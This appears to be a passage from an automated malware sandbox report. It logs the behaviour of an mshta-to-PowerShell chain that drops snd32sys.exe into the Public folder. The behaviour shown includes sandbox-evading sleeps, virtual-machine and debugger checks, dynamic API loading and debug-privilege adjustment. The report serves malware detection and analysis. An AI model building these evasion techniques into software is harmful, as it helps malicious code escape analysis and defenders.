Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1888
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3141
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 673
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1800
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1157

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5964	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4556	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep count: 1800 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep count: 1157 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4884	Thread sleep count: 43 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2920	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5180	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5276	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\snd32sys.exe TID: 4404	Thread sleep count: 46 > 30
Source: C:\Users\Public\snd32sys.exe TID: 4404	Thread sleep time: -2760000s >= -30000s
Source: C:\Users\Public\snd32sys.exe TID: 4404	Thread sleep count: 45 > 30
Source: C:\Users\Public\snd32sys.exe TID: 4404	Thread sleep time: -2700000s >= -30000s
Source: C:\Users\Public\snd32sys.exe TID: 4404	Thread sleep time: -60000s >= -30000s

Source: C:\Users\Public\snd32sys.exe	Last function: Thread delayed
Source: C:\Users\Public\snd32sys.exe	Last function: Thread delayed

Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0065838E FindFirstFileExW,FindNextFileW,FindClose,
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00657FD2 FindFirstFileExW,

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_006133E0 GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\snd32sys.exe	Thread delayed: delay time: 60000
Source: C:\Users\Public\snd32sys.exe	Thread delayed: delay time: 60000
Source: C:\Users\Public\snd32sys.exe	Thread delayed: delay time: 60000

Source: powershell.exe, 00000002.00000002.349280205.0000000004E27000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.334365492.0000000004E33000.00000004.00000001.sdmp	Binary or memory string: Hyper-V
Source: powershell.exe, 00000002.00000002.349280205.0000000004E27000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.332192660.0000000004A22000.00000004.00000001.sdmp	Binary or memory string: j:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: mshta.exe, 00000001.00000003.224307613.0000000002FDB000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00657943 IsDebuggerPresent,

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00613560 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,

Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0064C285 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00659D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00659DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00659D86 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00659E24 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00659ED9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00659F61 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00659F1D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00659F92 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_006B17C3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_006B17C3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_006B138F push dword ptr fs:[00000030h]

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00611390 GetProcessHeap,RtlAllocateHeap,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062BAF2 SetUnhandledExceptionFilter,
